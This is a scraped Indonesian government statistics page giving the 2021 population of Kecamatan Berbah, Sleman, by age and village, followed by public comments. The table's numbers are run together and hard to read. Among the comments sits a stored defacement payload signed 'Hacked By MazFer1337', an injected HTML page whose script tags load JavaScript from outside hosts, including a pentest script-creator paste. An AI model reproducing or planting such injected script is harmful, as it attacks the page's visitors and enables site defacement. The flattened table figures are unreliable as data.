Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN BERBAH, KABUPATEN SLEMAN, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaSENDANGTIRTOTEGALTIRTOKALITIRTOJOGOTIRTOTotal
LPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun199207 406118126 244145123 268109108 217571 564 1.135
2 tahun14899 2478474 1588786 1737675 151395 334 729
3 tahun123112 2359585 18010885 1938965 154415 347 762
4 tahun141108 2498477 161102106 2086871 139395 362 757
5 tahun131125 2568884 1728685 1717193 164376 387 763
6 tahun131118 249103101 204100126 2268864 152422 409 831
7 tahun137134 27197100 19710897 2057788 165419 419 838
8 tahun158111 26911098 208113112 2259191 182472 412 884
9 tahun146141 287109101 210116114 2309070 160461 426 887
10 tahun161157 31810984 19310388 1919072 162463 401 864
11 tahun122128 25097109 206112103 2159275 167423 415 838
12 tahun175143 318111110 221112120 23210578 183503 451 954
13 tahun154153 30795103 198111116 22710187 188461 459 920
14 tahun125108 233111105 21698103 2019262 154426 378 804
15 tahun146131 27786105 191104108 2127399 172409 443 852
16 tahun139146 2859291 183116119 2358884 172435 440 875
17 tahun123107 23010766 17383102 1856380 143376 355 731
18 tahun123147 27010484 188100105 2059091 181417 427 844
19 tahun138134 2728195 17610898 2069566 161422 393 815
20 tahun148146 29490110 20010488 1928080 160422 424 846
21 tahun152129 28110294 196105107 2127779 156436 409 845
22 tahun116133 2498983 172117108 2259083 173412 407 819
23 tahun117120 2378597 1828986 1756065 125351 368 719
24 tahun138116 2548681 16788106 1948573 158397 376 773
25 tahun123124 24710191 192118103 2219376 169435 394 829
26 tahun138140 2788485 1699392 1856863 131383 380 763
27 tahun140101 2418082 1629790 1876771 138384 344 728
28 tahun124133 2578779 166108112 2207172 143390 396 786
29 tahun128125 2538788 1759191 1828193 174387 397 784
30 tahun99114 2137185 15697106 2036887 155335 392 727
31 tahun119114 2337382 1558184 1658571 156358 351 709
32 tahun117143 2608097 1778479 1637958 137360 377 737
33 tahun116127 2438291 17389103 1925677 133343 398 741
34 tahun136127 2639771 1687997 1766877 145380 372 752
35 tahun122129 25199111 21098117 2156675 141385 432 817
36 tahun139162 30192107 199105115 2208084 164416 468 884
37 tahun135139 274117101 218111121 23298100 198461 461 922
38 tahun148135 283120115 235118128 2469071 161476 449 925
39 tahun143135 278101117 218106121 22796112 208446 485 931
40 tahun149150 299103120 2239097 18788101 189430 468 898
41 tahun150147 297110111 22111899 2178987 176467 444 911
42 tahun148146 294117145 26294113 2078797 184446 501 947
43 tahun159163 32213098 228101136 2379279 171482 476 958
44 tahun140131 27111194 205112105 2178681 167449 411 860
45 tahun136143 27911292 20489112 20110288 190439 435 874
46 tahun152150 302101115 216110107 21790102 192453 474 927
47 tahun158146 3048588 1739299 1919489 183429 422 851
48 tahun138145 2839583 178111113 22482102 184426 443 869
49 tahun128153 28181103 184111121 2328778 165407 455 862
50 tahun135125 26091114 2059991 19010579 184430 409 839
51 tahun126142 26810477 18173100 1737783 160380 402 782
52 tahun129150 2799699 195128114 2429781 178450 444 894
53 tahun138131 2698087 16711694 2107895 173412 407 819
54 tahun117125 2428079 15984104 1885885 143339 393 732
55 tahun116110 2267371 14468100 1686674 140323 355 678
56 tahun116122 2387991 17080106 1867169 140346 388 734
57 tahun101101 2027264 1367878 1566474 138315 317 632
58 tahun98128 2266573 1389198 1897487 161328 386 714
59 tahun9790 1876384 1478180 1615661 117297 315 612
60 tahun8374 1575060 1106756 1236852 120268 242 510
61 tahun91113 2046765 1326590 1555780 137280 348 628
62 tahun8884 1725869 1277167 1384364 107260 284 544
63 tahun7090 1604072 1126370 1335167 118224 299 523
64 tahun8491 1755445 995069 1194443 87232 248 480
65 tahun7667 1435058 1085267 1194448 92222 240 462
66 tahun6063 1234249 914959 1084134 75192 205 397
67 tahun5657 1135856 1145850 1082644 70198 207 405
68 tahun4643 893046 765141 922653 79153 183 336
69 tahun5544 992835 633853 912333 56144 165 309
70 tahun3928 672234 562632 582929 58116 123 239
71 tahun3942 812430 542737 643329 62123 138 261
72 tahun2726 532722 492439 632027 4798 114 212
73 tahun2238 602939 682337 601928 4793 142 235
74 tahun2128 491826 441625 411017 2765 96 161
75 tahun1522 371519 341327 401523 3858 91 149
76 tahun2124 451633 492230 522032 5279 119 198
77 tahun2417 411617 331618 34911 2065 63 128
78 tahun2420 441617 331917 362323 4682 77 159
79 tahun2228 502016 362025 452220 4284 89 173
80 ke atas83127 21066116 18263128 19163123 186275 494 769
Jumlah8.9958.92517.9206.2986.47712.7756.7497.15413.9035.5355.65811.193 27.577 28.214 55.791
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih